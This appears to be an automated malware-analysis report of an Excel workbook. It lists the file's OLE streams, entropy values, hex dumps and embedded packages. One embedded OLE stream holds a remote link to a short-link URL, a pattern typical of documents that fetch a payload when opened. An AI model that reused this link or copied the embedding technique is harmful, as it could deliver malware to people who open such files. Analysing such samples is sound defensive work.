Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 43 d6 2e 12 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2603503175049817
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . . & . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD000EF6BE/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD000EF6BE/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/\x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	MBD000EF6BE/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.701136490257069
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F e u i l 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00

Stream Path: MBD000EF6BE/\x5SummaryInformation, File Type: dBase III DBT, version number 0, next free block index 65534, 1st item "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", Stream Size: 90976

General
Stream Path:	MBD000EF6BE/\x5SummaryInformation
CLSID:
File Type:	dBase III DBT, version number 0, next free block index 65534, 1st item "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
Stream Size:	90976
Entropy:	4.0202822243037755
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . 0 c . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ; { ) . @ . . . . Z % . } . @ . . . . . % . . . . . . . . . G . . . t b . . . . . . . . u . 2 . . . . . . . . . 2 . . . . ! . . . . . . . . . . v . . . ! . . A . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 30 63 01 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 64 00 00 00 12 00 00 00 70 00 00 00 0b 00 00 00 88 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 11 00 00 00 b4 00 00 00

Stream Path: MBD000EF6BE/MBD0002578E/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD000EF6BE/MBD0002578E/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD0002578E/Package, File Type: Microsoft Excel 2007+, Stream Size: 33181

General
Stream Path:	MBD000EF6BE/MBD0002578E/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	33181
Entropy:	7.705040299215262
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . ) ; . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 e2 9b 29 3b aa 01 00 00 e0 07 00 00 13 00 ce 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 ca 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD00032715/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD000EF6BE/MBD00032715/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD00032715/Package, File Type: Microsoft Excel 2007+, Stream Size: 38341

General
Stream Path:	MBD000EF6BE/MBD00032715/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	38341
Entropy:	7.85773182578822
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . D . 2 . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 44 19 a7 ee 32 01 00 00 c9 02 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD00032B6D/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD000EF6BE/MBD00032B6D/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD00032B6D/\x5DocumentSummaryInformation, File Type: data, Stream Size: 484

General
Stream Path:	MBD000EF6BE/MBD00032B6D/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	484
Entropy:	3.922883556049869
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , D . . . . . . . . . . + , D . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . I N V . . . . . P L . . . . . D P L - 1 . . . . . I N V ! P r i n t _ A r e a . . . . . P L ! P r i n t _ A r e a . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 00 00 00 05 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 01 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00

Stream Path: MBD000EF6BE/MBD00032B6D/\x5SummaryInformation, File Type: data, Stream Size: 19956

General
Stream Path:	MBD000EF6BE/MBD00032B6D/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	19956
Entropy:	3.047871976270467
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . M . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . y d t . . . . . . . . . 9 1 9 7 4 . . . . . . . . . . . W P S O f f i c e . . @ . . . . E . w . @ . . . . . 2 . @ . . . . . . . % . . . . . . . . . G . . . . M . . . . . . . . ? . . . . . . . . . \| & . . . . . . . . . . . . . . & . . . " W M F C . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 c4 4d 00 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 64 00 00 00 12 00 00 00 74 00 00 00 0b 00 00 00 88 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 11 00 00 00 b4 00 00 00

Stream Path: MBD000EF6BE/MBD00032B6D/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 95624

General
Stream Path:	MBD000EF6BE/MBD00032B6D/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	95624
Entropy:	3.890268972586762
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . Q \| 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c9 00 02 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD000EF6BE/MBD00033186/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD000EF6BE/MBD00033186/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD00033186/Package, File Type: Microsoft Excel 2007+, Stream Size: 52190

General
Stream Path:	MBD000EF6BE/MBD00033186/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	52190
Entropy:	7.870757596146126
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . p @ . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 13 70 40 80 a3 01 00 00 e2 05 00 00 13 00 cf 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cb 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD0018D4CE/\x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	MBD000EF6BE/MBD0018D4CE/\x1Ole
CLSID:
File Type:	data
Stream Size:	20
Entropy:	0.5689955935892812
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/MBD0018D4CE/\x3ObjInfo, File Type: data, Stream Size: 4

General
Stream Path:	MBD000EF6BE/MBD0018D4CE/\x3ObjInfo
CLSID:
File Type:	data
Stream Size:	4
Entropy:	0.8112781244591328
Base64 Encoded:	False
Data ASCII:	. . . .
Data Raw:	00 00 03 00

Stream Path: MBD000EF6BE/MBD0018D4CE/Contents, File Type: Corel Photo-Paint image, version 9, 716 x 547 RGB 24 bits, 11811024 micro dots/mm, 4 blocks, array offset 0x13c, Stream Size: 197671

General
Stream Path:	MBD000EF6BE/MBD0018D4CE/Contents
CLSID:
File Type:	Corel Photo-Paint image, version 9, 716 x 547 RGB 24 bits, 11811024 micro dots/mm, 4 blocks, array offset 0x13c
Stream Size:	197671
Entropy:	6.989042939766534
Base64 Encoded:	True
Data ASCII:	C P T 9 F I L E . . . . . . . . . . . . . . . . 8 . 8 . . . . . . . . . . . . . . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	43 50 54 39 46 49 4c 45 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 38 b4 00 d0 38 b4 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 01 00 94 00 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000EF6BE/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 212905

General
Stream Path:	MBD000EF6BE/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	212905
Entropy:	7.612848324441619
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . ` < x - 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD000EF6BF/\x1Ole, File Type: data, Stream Size: 806

General
Stream Path:	MBD000EF6BF/\x1Ole
CLSID:
File Type:	data
Stream Size:	806
Entropy:	5.458226203434401
Base64 Encoded:	False
Data ASCII:	. . . . L & 3 ! . . . . . . . . . . . . . . . . y . . . K . . . . . h . t . t . p . s . : . / . / . q . r . i . s . n . i . . . m . e . / . 8 . q . n . M . U . w . ? . & . i . t . a . l . i . a . n . = . t . o . u . g . h . & . b . l . a . d . d . e . r . = . w . r . a . t . h . f . u . l . & . s . i . n . g . e . r . = . j . u . v . e . n . i . l . e . & . t . u . g . b . o . a . t . = . n . e . b . u . l . o . u . s . & . p . o . i . g . n . a . n . c . e . = . p . u . r . p . l . e . & . t . w . i . g .
Data Raw:	01 00 00 02 cb 4c ac 26 85 8f 33 21 00 00 00 00 00 00 00 00 00 00 00 00 12 02 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 0e 02 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 71 00 72 00 69 00 73 00 6e 00 69 00 2e 00 6d 00 65 00 2f 00 38 00 71 00 6e 00 4d 00 55 00 77 00 3f 00 26 00 69 00 74 00 61 00 6c 00 69 00 61 00 6e 00 3d 00 74 00 6f 00 75 00 67 00 68 00 26 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 312385

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	312385
Entropy:	7.99868683514134
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . . L E O _ . . I t ? . j . . l p 9 . & . . m . . . . . . . ; . . . \\ . p . o . $ ] S ; 7 S . y l : . ) g H $ . f % . . " e > s 2 _ 4 . a \| / N . . S b 1 S \| ! { u ` g f ^ . F e S . 4 * Y V . " Y 7 B . . . a . . . ? Y . . . = . . . ~ % z . . . . . ^ . Q b . . . . . . . . . ` . . . . P . . . . . . . . . P . . . . = . . . p . . G . - . \| . E ; @ . . . . . . . % " . . . R . . . . M . . . . \\ . . . a 1 . . . . 1 . . ] 1 . Y . W . i . _ b J . 1 . . . < " . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 1e 9d 96 4c e6 9b 45 4f b6 9a 5f a3 d1 8d c7 95 d3 49 74 d6 3f 97 14 db 6a ef eb c5 07 9e 8e df 05 6c 70 39 15 a5 26 f9 f9 88 f3 98 1b 02 6d 9b e1 00 02 00 b0 04 c1 00 02 00 3b bc e2 00 00 00 5c 00 70 00 6f f0 a7 f7 e5 1b 24 5d eb 53 a6 db dd 3b 37 ac 88 53 91 00 79 d6 6c 3a dd a3 20 29 67 e2

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 523

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	523
Entropy:	5.280401551610398
Base64 Encoded:	True
Data ASCII:	I D = " { 1 4 C B D 4 B 3 - A 1 B 8 - 4 9 6 1 - 9 9 4 0 - 8 6 3 2 C C C 0 9 0 6 F } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 9 B 9 9 5 1 6 E 5 A 7 2 5 A 7 2 5
Data Raw:	49 44 3d 22 7b 31 34 43 42 44 34 42 33 2d 41 31 42 38 2d 34 39 36 31 2d 39 39 34 30 2d 38 36 33 32 43 43 43 30 39 30 36 46 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
